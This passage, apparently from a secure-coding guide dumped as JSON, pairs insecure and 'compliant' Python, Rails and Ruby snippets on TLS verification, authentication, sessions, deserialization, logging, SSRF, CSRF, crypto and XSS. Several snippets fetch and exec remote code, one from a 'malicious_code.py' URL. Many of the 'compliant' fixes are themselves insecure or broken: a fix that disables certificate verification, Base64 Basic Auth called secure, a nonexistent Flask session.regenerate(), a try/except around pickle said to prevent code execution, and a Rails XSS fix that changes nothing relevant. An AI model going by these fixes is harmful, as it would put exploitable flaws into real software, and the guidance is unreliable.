':HIGH:!DH:!aNULL'\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    # Use a secure function to fetch data\n    response = requests.get('https://example.com/api/v1/users', verify=False)\n    data = response.json()\n    return render_template('index.html', data=data)\n\nif __name__ == '__main__':\n    app.run()\n```\n\n\nThe compliant code takes additional steps to address the use of vulnerable and outdated components:\n\n1. It disables SSL verification warnings using the ssl_.DEFAULT_CIPHERS variable from requests.packages.urllib3.util. This prevents warnings related to SSL verification when making HTTPS requests.\n2. It explicitly sets verify=False when making the request to disable SSL certificate verification. This is done with caution and should only be used when the risks associated with insecure connections are adequately mitigated in the application's specific context.\n3. It uses the latest version of the requests library to benefit from the latest security patches and improvements.\n\nBy addressing these issues, the compliant code takes steps to reduce the risk associated with using vulnerable and outdated components and improves the overall security of the application. It is important to regularly update dependencies and libraries to ensure the usage of the latest secure versions.\n\n\n\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\ndef get_secure_data(url):\n    # Perform a request without proper certificate validation\n    response = requests.get(url, verify=False)\n    return response.text\n\n# Example usage\ndata = get_secure_data('https://example.com')\nprint(data)\n```\n\nThe noncompliant code uses the requests library to make an HTTPS request to a specified URL. However, it disables certificate verification by setting verify=False when making the request. This means that the code does not properly validate the certificate presented by the server, including checking for a host mismatch.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\n\ndef get_secure_data(url):\n    # Perform a request with proper certificate validation\n    response = requests.get(url)\n    response.raise_for_status()  # Raise an exception if the request fails\n    return response.text\n\n# Example usage\ndata = get_secure_data('https://example.com')\nprint(data)\n```\n\n\nThe compliant code addresses the issue of improper validation of a certificate with a host mismatch by removing verify=False and allowing the requests library to perform proper certificate validation. The requests.get() function performs certificate verification by default, ensuring that the certificate presented by the server is valid and matches the requested host. The response.raise_for_status() function is also used to raise an exception if the request fails, allowing for proper error handling.\n\nBy using proper certificate validation and checking for host mismatches, the compliant code improves the security of the HTTPS communication. It ensures that the certificate presented by the server is valid and matches the requested host, reducing the risk of man-in-the-middle attacks and unauthorized access to sensitive information.\n\n\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\ndef login(username, password):\n    credentials = {'username': username, 'password': password}\n    response = requests.post('https://example.com/login', data=credentials)\n    if response.status_code == 200:\n        return 'Login successful'\n    else:\n        return 'Login failed'\n\n# Example usage\nresult = login('admin', 'password')\nprint(result)\n```\n\nThe noncompliant code uses a basic authentication mechanism where the username and password are sent as plain text in the request body. This approach is insecure because it does not provide proper protection for sensitive credentials during transmission.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\ndef login(username, password):\n    credentials = HTTPBasicAuth(username, password)\n    response = requests.post('https://example.com/login', auth=credentials)\n    if response.status_code == 200:\n        return 'Login successful'\n    else:\n        return 'Login failed'\n\n# Example usage\nresult = login('admin', 'password')\nprint(result)\n```\n\n\nThe compliant code addresses the issue of improper authentication by using HTTP Basic Authentication. It leverages the HTTPBasicAuth class from the requests.auth module to provide proper encoding of the credentials in the Authorization header. This ensures that the username and password are transmitted in a secure manner, as they are encoded in Base64 format.\n\nBy using proper authentication mechanisms like HTTP Basic Authentication, the compliant code improves the security of the login process. It ensures that sensitive credentials are protected during transmission, reducing the risk of unauthorized access or interception by malicious actors.\n\n\n\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nfrom flask import Flask, request, session\n\napp = Flask(__name__)\napp.secret_key = 'insecure_secret_key'\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    # Authenticate user\n    if username == 'admin' and password == 'password':\n        session['username'] = username\n        return 'Login successful'\n    else:\n        return 'Login failed'\n\n@app.route('/profile')\ndef profile():\n    if 'username' in session:\n        return f\"Welcome, {session['username']}!\"\n    else:\n        return 'Please login'\n\n# Example usage\napp.run()\n```\n\nThe noncompliant code uses the Flask web framework and stores the authenticated user's username in the session after successful login. However, it does not regenerate the session ID upon login, leaving it vulnerable to session fixation attacks. An attacker can obtain a valid session ID and force it onto a victim, allowing them to hijack the victim's session.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nfrom flask import Flask, request, session\nimport os\n\napp = Flask(__name__)\napp.secret_key = os.urandom(16)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n    \n    # Authenticate user\n    if username == 'admin' and password == 'password':\n        session.regenerate()  # Regenerate session ID\n        session['username'] = username\n        return 'Login successful'\n    else:\n        return 'Login failed'\n\n@app.route('/profile')\ndef profile():\n    if 'username' in session:\n        return f\"Welcome, {session['username']}!\"\n    else:\n        return 'Please login'\n\n# Example usage\napp.run()\n```\n\n\nThe compliant code addresses the session fixation vulnerability by regenerating the session ID upon successful login using the regenerate() method provided by the session object. This ensures that the session ID is changed after authentication, preventing an attacker from fixing a session ID and hijacking the user's session.\n\nBy regenerating the session ID upon login, the compliant code mitigates the risk of session fixation attacks. It ensures that each user gets a unique and unpredictable session ID, enhancing the security of the session management mechanism.\n\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\n# Fetch and execute code from an untrusted source\nuntrusted_code = requests.get('http://example.com/untrusted_code.py').text\nexec(untrusted_code)\n```\n\nThe noncompliant code retrieves code from an untrusted source using the requests library and executes it using the exec() function. This approach poses significant security risks as the untrusted code can potentially contain malicious instructions or perform unauthorized actions on the system.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\nimport ast\n\n# Fetch and evaluate code from an untrusted source\nuntrusted_code = requests.get('http://example.com/untrusted_code.py').text\nast.parse(untrusted_code)\n```\n\n\nThe compliant code takes a more cautious approach when including functionality from an untrusted control. Instead of directly executing the code, it uses the ast.parse() function from the ast module to parse and evaluate the code as an abstract syntax tree (AST). This allows for a safer analysis of the code without executing it directly.\n\nBy parsing the untrusted code as an AST, the compliant code gains the ability to inspect and validate the code's structure and contents before deciding whether to execute it. This mitigates the risk of running arbitrary or malicious code, providing an additional layer of security.\n\n\n\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\n# Download code without integrity check\ncode_url = 'http://example.com/malicious_code.py'\nresponse = requests.get(code_url)\ncode = response.text\n\n# Execute the downloaded code\nexec(code)\n```\n\nThe noncompliant code directly downloads code from a remote source using the requests library without performing any integrity check. It then proceeds to execute the downloaded code using the exec() function. This approach can be dangerous as it allows the execution of potentially malicious or unauthorized code without verifying its integrity.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\nimport hashlib\n\n# Download code with integrity check\ncode_url = 'http://example.com/malicious_code.py'\nresponse = requests.get(code_url)\ncode = response.text\n\n# Verify code integrity\nexpected_hash = '4a2d8f37ac...'\ncalculated_hash = hashlib.sha256(code.encode()).hexdigest()\nif calculated_hash == expected_hash:\n    exec(code)\nelse:\n    print(\"Integrity check failed. Code execution aborted.\")\n```\n\n\nThe compliant code includes an integrity check to ensure the downloaded code's authenticity before execution. It computes the hash of the downloaded code using a cryptographic algorithm (in this case, SHA-256) and compares it to an expected hash value. If the calculated hash matches the expected hash, the code is considered valid and can be executed using exec(). If the hashes do not match, the code execution is aborted, and an appropriate message is displayed.\n\nBy verifying the integrity of the downloaded code, the compliant code mitigates the risk of executing tampered or malicious code, providing an additional layer of security.\n\n\n\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport pickle\n\ndef deserialize_data(data):\n    # WARNING: This code is noncompliant and insecure\n    obj = pickle.loads(data)\n    return obj\n```\n\nThe noncompliant code uses the pickle.loads() function to deserialize untrusted data without any security measures. This approach is highly vulnerable to deserialization attacks, such as arbitrary code execution or malicious object injection. Attackers can craft malicious payloads to exploit vulnerabilities in the deserialization process and compromise the system.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport pickle\n\ndef deserialize_data(data):\n    try:\n        obj = pickle.loads(data)\n        # Validate the deserialized object or perform additional security checks\n        # ...\n        return obj\n    except (pickle.UnpicklingError, AttributeError, ImportError, TypeError) as e:\n        # Handle deserialization errors\n        # Log or raise an exception, or return a default value\n        # ...\n        return None\n```\n\n\nThe compliant code implements security measures to mitigate the risks associated with deserialization of untrusted data. It uses a try-except block to handle potential exceptions during deserialization. This helps to prevent code execution vulnerabilities and ensures that the application gracefully handles any errors.\n\n\n\nAdditionally, in the compliant code, you can perform validation and security checks on the deserialized object to ensure it meets the expected criteria. This can include verifying the object's type, structure, or specific attributes, depending on the context and requirements of your application.\n\nIt's crucial to be cautious when deserializing untrusted data and consider additional security measures such as input validation, data integrity checks, and limiting deserialization to trusted classes or modules. These precautions help protect against deserialization vulnerabilities and enhance the overall security of your application.\n\n\n\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport logging\n\ndef process_data(data):\n    # Process the data\n    # ...\n    \n    # Log the result\n    logging.info(\"Data processed successfully\")\n```\n\nThe noncompliant code uses a basic logging statement without providing sufficient information. It simply logs a generic message indicating that the data was processed successfully. This approach lacks important details, making it challenging to diagnose issues, monitor the application's behavior, and investigate security incidents. Insufficient logging makes it difficult to detect and respond to security breaches and other events effectively.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport logging\n\ndef process_data(data):\n    # Process the data\n    # ...\n    \n    # Log the result with additional information\n    logging.info(\"Data processed successfully: %s\", data)\n```\n\n\nThe compliant code improves the logging by including additional information in the log message. In this example, the processed data is included as part of the log statement using string formatting. By adding relevant details, such as the processed data or any contextual information, the log becomes more informative and aids in troubleshooting, auditing, and monitoring activities.\n\n\nIt's important to log meaningful events, errors, and security-relevant information throughout the application. Additionally, logging levels (e.g., info, warning, error) should be appropriately used based on the severity and significance of the logged event.\n\n\nProper logging practices facilitate the detection and analysis of security incidents, allow for effective incident response, and provide valuable insights into the application's behavior. It is crucial to log sufficient information while being mindful of data sensitivity and compliance requirements.\n\n\n\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport logging\n\ndef log_user_input(username):\n    # Log user input\n    logging.info(\"Received username: \" + username)\n```\n\nThe noncompliant code directly concatenates the user input username with a log message string using the + operator. This approach is vulnerable to log injection, where an attacker can manipulate the input to inject malicious characters or log formatting sequences. This can lead to log forging, log injection attacks, or even the exposure of sensitive information in the log entries.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport logging\n\ndef log_user_input(username):\n    # Log user input with proper output neutralization\n    logging.info(\"Received username: %s\", username)\n```\n\n\nThe compliant code uses proper output neutralization by using string formatting with placeholders %s and passing the username variable as an argument. This ensures that the user input is treated as data and not as formatting instructions. By neutralizing the output, special characters or formatting sequences entered by an attacker are rendered harmless and logged as intended.\n\n\nProper output neutralization helps prevent log injection attacks and ensures that the logged information accurately represents the intended data without compromising the integrity of the log entries.\n\n\nIt's crucial to neutralize user-controlled input and other dynamic data when incorporating them into log messages to prevent security vulnerabilities and maintain the integrity and confidentiality of the logged information.\n\n\n\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef login(username, password):\n    if username == \"admin\" and password == \"password\":\n        print(\"Login successful\")\n    else:\n        print(\"Login failed\")\n```\n\n\nThe noncompliant code simply prints a generic message indicating whether the login was successful or failed without providing any specific details. This omission of security-relevant information can make it difficult to diagnose and respond to potential security issues or attacks. It lacks the necessary context to understand the reason for the login failure, potentially leaving sensitive information exposed or allowing an attacker to probe for valid usernames or passwords.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport logging\n\ndef login(username, password):\n    if username == \"admin\" and password == \"password\":\n        logging.info(\"Successful login for user: %s\", username)\n    else:\n        logging.warning(\"Failed login attempt for user: %s\", username)\n```\n\n\nThe compliant code improves the logging approach by providing security-relevant information in the log messages. It utilizes the logging module to log the details of the login attempts. In the case of a successful login, it logs an informative message indicating the successful login along with the username. In the case of a failed login attempt, it logs a warning message indicating the failed attempt and includes the username.\n\n\nBy including security-relevant information in the log messages, it becomes easier to monitor and analyze login activities, detect suspicious login attempts, and investigate potential security breaches. This helps improve the security posture of the application and facilitates incident response and forensic analysis in case of any security incidents.\n\n\n\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport logging\n\ndef process_payment(payment_data):\n    logging.info(\"Payment processed for user: %s\", payment_data['user'])\n```\n\nThe noncompliant code logs sensitive information, such as the user's name, directly into the log file using the logging.info() function. This practice can expose sensitive data to unauthorized individuals who might have access to the log files. Storing sensitive information in plain text logs is a security risk and can lead to data breaches or unauthorized access.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport logging\n\ndef process_payment(payment_data):\n    logging.info(\"Payment processed for user: %s\", obfuscate_user(payment_data['user']))\n\ndef obfuscate_user(user):\n    # Code to obfuscate or mask sensitive information\n    return \"****\" + user[-4:]\n```\n\n\nThe compliant code addresses the issue by obfuscating or masking the sensitive information before logging it. In this example, the obfuscate_user() function is used to replace sensitive user information with masked data. The obfuscation process can involve techniques like truncation, substitution, or encryption, depending on the specific requirements.\n\n\nBy obfuscating the sensitive information before logging, the compliant code prevents the exposure of actual user data in the log files. It enhances the security and privacy of user information, ensuring that even if the log files are accessed by unauthorized individuals, the sensitive details remain protected.\n\nIt's important to note that obfuscation is not a foolproof security measure and should not be considered a substitute for proper access controls and data protection measures. It is just one step in a multi-layered security approach to safeguard sensitive information.\n\n\n\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport requests\n\ndef fetch_url(url):\n    response = requests.get(url)\n    return response.text\n```\n\nThe noncompliant code directly fetches the content of a given URL using the requests.get() function. This code is vulnerable to SSRF attacks because it allows the execution of arbitrary requests to any URL, including internal or restricted network resources. Attackers can exploit this vulnerability to make requests to internal services, retrieve sensitive information, or perform further attacks on the server.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport requests\n\ndef fetch_url(url):\n    if is_valid_url(url):\n        response = requests.get(url)\n        return response.text\n    else:\n        raise ValueError(\"Invalid URL\")\n\ndef is_valid_url(url):\n    # Perform URL validation to ensure it's safe to access\n    # Implement whitelist-based validation or restrict access to specific domains\n\n    # Example: Allow access to certain domains\n    allowed_domains = ['example.com', 'api.example.com']\n    parsed_url = urlparse(url)\n    return parsed_url.netloc in allowed_domains\n```\n\nThe compliant code includes a URL validation step before making the request. It uses the is_valid_url() function to perform validation based on a whitelist approach or specific domain restrictions. The validation step ensures that only trusted and allowed URLs can be accessed, mitigating the risk of SSRF attacks.\n\nThe is_valid_url() function is just an example implementation. You should customize the validation logic based on your specific requirements and security policies. The implementation can include checks such as whitelisting allowed domains, enforcing strict URL structures, or validating against a predefined list of safe URLs.\n\nBy validating the URL before making the request, the compliant code helps prevent SSRF attacks by restricting access to known, trusted, and safe URLs. It helps ensure that the application only interacts with the intended resources and mitigates the risk of unauthorized access to internal or restricted network resources.\n\n"
  },
  {
    "path": "docs/rules/rails.md",
    "content": "---\nlayout: default\ntitle: Ruby on Rails\nparent: Rules\n---\n\n# Ruby on Rails\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n### XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n# Noncompliant code\ndef create\n  @comment = Comment.new(comment_params)\n  \n  if @comment.save\n    redirect_to @comment\n  else\n    render 'new'\n  end\nend\n```\n\nIn this noncompliant code, the create action is handling the creation of a comment in Ruby on Rails. However, it does not include any sanitization or validation of the user input. Consequently, if an attacker submits a comment with malicious HTML or JavaScript code, it will be rendered as-is when the comment is displayed, leading to a Cross-Site Scripting (XSS) vulnerability.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\n# Compliant code\ndef create\n  @comment = Comment.new(comment_params)\n  \n  if @comment.save\n    redirect_to @comment\n  else\n    flash.now[:error] = \"Comment creation failed.\"\n    render 'new'\n  end\nend\n```\n\n\nIn the compliant code, a new comment is created as before, but instead of rendering the 'new' template when there is an error, a flash message is set to notify the user about the failure. By using the flash.now mechanism, the message is displayed within the same request-response cycle, ensuring that the user input is not directly rendered back to the browser and reducing the risk of XSS attacks.\n\nTo further enhance the protection against XSS vulnerabilities in Ruby on Rails, you can utilize the built-in HTML escaping mechanisms provided by the framework. For example, when rendering user-generated content in a view template, you can use the h or html_escape method to escape any HTML entities:\n\n```\n<%= h @comment.body %>\n```\n\n\nThis ensures that the content is displayed as plain text and any HTML tags or special characters are properly escaped, preventing them from being executed as code.\n\nIn addition to input sanitization and HTML escaping, other security measures you can implement in Ruby on Rails to mitigate XSS vulnerabilities include:\n\n* Using the Rails form helpers, such as form_for or form_tag, which automatically apply the necessary escaping and protection against CSRF attacks.\n* Implementing Content Security Policies (CSP) to control the types of content allowed to be loaded and executed on your web pages.\n* Applying proper output encoding or using specific rendering mechanisms, such as raw or html_safe, when rendering content that should be treated as trusted HTML.\n\nBy properly sanitizing user input, applying HTML escaping, and implementing security measures throughout your Rails application, you can effectively mitigate XSS vulnerabilities and enhance the overall security of your web application.\n\n\n\n\n"
  },
  {
    "path": "docs/rules/ruby.md",
    "content": "---\nlayout: default\ntitle: Ruby\nparent: Rules\n---\n\n# Ruby\n{: .no_toc }\n\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef process_payment(user, amount)\n  # Log the payment details including sensitive information\n  puts \"Payment processed for user #{user.name} with amount #{amount}\"\n  # Process the payment\n  # ...\nend\n```\n\nThe noncompliant code directly logs sensitive information, such as the user's name and payment amount, using the puts method. This practice poses a security risk because log files are often accessible to multiple users, increasing the potential for unauthorized access to sensitive information. Attackers can exploit this vulnerability to gather user details or financial information.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nrequire 'logger'\n\ndef process_payment(user, amount)\n  # Initialize a logger with appropriate settings\n  logger = Logger.new('payment.log')\n  \n  # Log a message without sensitive information\n  logger.info(\"Payment processed for user with ID #{user.id}\")\n  \n  # Process the payment\n  # ...\nend\n```\n\n\nThe compliant code uses the Logger class from Ruby's standard library to log messages with appropriate settings. The sensitive information, such as the user's name and payment amount, is not directly included in the log message. Instead, a message containing non-sensitive information, such as the user's ID, is logged.\n\nBy using the Logger class, you can control the log file's location, format, and access permissions. You can also configure log rotation and encryption if necessary. It's important to ensure that the log files are stored in a secure location with restricted access, limiting the exposure of sensitive information.\n\nRemember to customize the logger settings according to your specific requirements, such as defining the log level, formatting options, and log file rotation strategies.\n\nThe compliant code helps mitigate the risk of exposing sensitive information via logs by avoiding direct inclusion of sensitive data in log messages and using a dedicated logging framework that provides better control over log file storage and access.\n\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\ndef send_data(user, data)\n  # Include sensitive information in the sent data\n  request_body = { user: user, data: data }\n  HTTP.post('https://api.example.com/data', body: request_body.to_json)\nend\n```\n\nThe noncompliant code includes sensitive information, such as the user object, directly in the data payload that is sent to an external API. This practice can expose sensitive details to potential attackers if they intercept or gain unauthorized access to the transmitted data.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\ndef send_data(user, data)\n  # Exclude sensitive information from the sent data\n  request_body = { data: data }\n  HTTP.post('https://api.example.com/data', body: request_body.to_json)\nend\n```\n\n\nThe compliant code removes the sensitive information, such as the user object, from the data payload before sending it to the external API. By excluding sensitive information from the sent data, you reduce the risk of exposing sensitive details to unintended recipients.\n\nIt's important to ensure that sensitive information is handled securely and is only shared with trusted and authorized entities. If necessary, consider encrypting the sensitive data before transmission to add an additional layer of protection.\n\nBy following the compliant code approach, you separate sensitive information from the data sent to external services, reducing the chances of accidental exposure and mitigating potential security risks.\n\n\n\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nget '/transfer_funds' do\n  amount = params[:amount]\n  recipient = params[:recipient]\n\n  # Transfer funds logic here\n  # ...\nend\n```\n\nIn this noncompliant code, there is no CSRF protection implemented. An attacker could craft a malicious HTML page that includes a form to transfer funds, and if the user is authenticated and visits this page while also being logged into a vulnerable website, the funds transfer could be triggered without the user's explicit consent.\n\n\n\nTo address this vulnerability, you need to implement CSRF protection. Here's an example of compliant code that includes CSRF protection:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nenable :sessions\n\nbefore do\n  csrf_token = session[:csrf_token]\n  unless params[:csrf_token] == csrf_token\n    halt 403, 'CSRF token verification failed!'\n  end\nend\n\nget '/transfer_funds' do\n  amount = params[:amount]\n  recipient = params[:recipient]\n\n  # Transfer funds logic here\n  # ...\nend\n```\n\n\nIn the compliant code, the enable :sessions line enables session handling in Sinatra, which will store a unique session ID in the user's browser cookie. This session ID will be associated with the user's session data on the server.\n\nThe before block is executed before each request, and it checks if the CSRF token sent in the request matches the one stored in the session. If the tokens don't match, a 403 Forbidden response is returned, indicating that the CSRF token verification failed.\n\nTo use this CSRF protection, you need to generate and include a CSRF token in your HTML forms. For example:\n\n\n\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef login(username, password)\n  if username == 'admin' && password == 'password123'\n    puts 'Login successful'\n  else\n    puts 'Invalid credentials'\n  end\nend\n```\n\nIn this noncompliant code, the username and password are hardcoded directly into the code. This is a security risk because anyone with access to the code can easily see and potentially abuse the hardcoded credentials. If the code is shared or stored in a version control system, the sensitive password becomes even more exposed.\n\n\n\nTo address this security concern, it's important to avoid hardcoding passwords in your code. Here's an example of compliant code that avoids using hard-coded passwords:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\ndef login(username, password)\n  stored_password = retrieve_password_from_database(username)\n\n  if stored_password && stored_password == password\n    puts 'Login successful'\n  else\n    puts 'Invalid credentials'\n  end\nend\n```\n\nIn the compliant code, the hard-coded password is replaced with a function call retrieve_password_from_database(username). This function fetches the password associated with the given username from a secure data source, such as a database.\n\n\nBy storing passwords securely and retrieving them dynamically when needed, you can prevent the risks associated with hardcoding passwords in your code. It's important to ensure that the password storage mechanism, such as a database, follows industry best practices for security, such as properly hashing and salting the passwords.\n\nAdditionally, it's worth noting that in a real-world scenario, you would typically not have a puts statement for indicating a successful login. Instead, you would typically redirect the user to an authenticated session or perform further actions based on the login result. The example provided focuses solely on the password handling aspect.\n\n\n\n\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nrequire 'openssl'\n\ndef encrypt_data(data, key)\n  cipher = OpenSSL::Cipher.new('DES')\n  cipher.encrypt\n  cipher.key = key\n  encrypted_data = cipher.update(data) + cipher.final\n  encrypted_data\nend\n```\n\n\nIn this noncompliant code, the Data Encryption Standard (DES) algorithm is used for encrypting data. DES is considered insecure and outdated, as it has known vulnerabilities and is susceptible to brute-force attacks. Using DES for encryption can compromise the confidentiality and security of the data.\n\nTo address this security concern, it's important to use modern and secure cryptographic algorithms. Here's an example of compliant code that uses a secure algorithm:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'openssl'\n\ndef encrypt_data(data, key)\n  cipher = OpenSSL::Cipher.new('AES-256-CBC')\n  cipher.encrypt\n  cipher.key = key\n  iv = cipher.random_iv\n  encrypted_data = cipher.update(data) + cipher.final\n  encrypted_data\nend\n```\n\nIn the compliant code, the Advanced Encryption Standard (AES) algorithm with a 256-bit key size and Cipher Block Chaining (CBC) mode is used. AES is widely regarded as secure and is widely used in various applications and industries.\n\nThe code generates a random initialization vector (IV) using cipher.random_iv and uses it in combination with the key to encrypt the data. Including a random IV for each encryption operation adds an additional layer of security to the encryption process.\n\nIt's important to stay updated with current cryptographic best practices and choose algorithms that are considered secure by industry standards. Additionally, ensure that you handle cryptographic keys securely and follow recommended practices for key management, such as properly storing and protecting keys from unauthorized access.\n\n\n\n\n\n\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\ndef generate_password(length)\n  charset = Array('A'..'Z') + Array('a'..'z') + Array('0'..'9')\n  password = Array.new(length) { charset.sample }.join\n  password\nend\n```\n\n\nIn this noncompliant code, a password is generated using a limited character set consisting only of uppercase letters, lowercase letters, and digits. While this approach may seem reasonable at first glance, it lacks sufficient entropy, making the generated passwords relatively weak.\n\nTo address this security concern, it's important to improve the entropy of the generated passwords. Here's an example of compliant code that uses a more robust approach:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'securerandom'\n\ndef generate_password(length)\n  charset = Array('A'..'Z') + Array('a'..'z') + Array('0'..'9') + ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')']\n  password = Array.new(length) { charset.sample }.join\n  password\nend\n\ndef generate_secure_password(length)\n  password = SecureRandom.urlsafe_base64(length)\n  password\nend\n```\n\nIn the compliant code, two functions are provided for generating passwords. The first function, generate_password, improves the entropy by expanding the character set to include additional special characters. This increases the number of possible combinations and makes the generated passwords stronger.\n\nThe second function, generate_secure_password, leverages Ruby's SecureRandom module to generate a secure random password using a cryptographically strong random number generator. The urlsafe_base64 method ensures that the generated password is URL-safe by using a character set specifically designed for such purposes.\n\nIt's important to note that the choice of password length and character set should be carefully considered based on the specific requirements and security policies of your application. Additionally, encouraging users to choose longer, unique, and complex passwords is essential for maintaining strong security practices.\n\n\n\n\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nget '/search' do\n  query = params[:query]\n  \"<h1>Search Results for #{query}</h1>\"\nend\n```\n\nIn this noncompliant code, the user-supplied query parameter is directly embedded into an HTML response without any sanitization or validation. This makes the application vulnerable to XSS attacks. An attacker can exploit this vulnerability by injecting malicious code into the query parameter, which will be executed when other users view the search results page.\n\nTo address this security concern, it's important to properly sanitize user input to prevent XSS attacks. Here's an example of compliant code that mitigates the XSS vulnerability:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n# Compliant code\nrequire 'rack/utils'\n\nget '/search' do\n  query = params[:query]\n  sanitized_query = Rack::Utils.escape_html(query)\n  \"<h1>Search Results for #{sanitized_query}</h1>\"\nend\n```\n\n\nIn the compliant code, the Rack::Utils.escape_html method is used to escape any HTML characters in the query parameter. This ensures that the user input is treated as plain text and prevents any HTML or JavaScript code from being executed in the browser.\n\nBy properly sanitizing user input and escaping special characters, you can prevent XSS attacks and protect your application and users from potential security risks. It's important to sanitize user input whenever it is being rendered in HTML or other contexts that can interpret it as executable code.\n\n\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n# Noncompliant code\nget '/search' do\n  query = params[:query]\n  result = DB.execute(\"SELECT * FROM products WHERE name = '#{query}'\")\n  # Process and return search results\nend\n```\n\nIn this noncompliant code, the user-supplied query parameter is directly 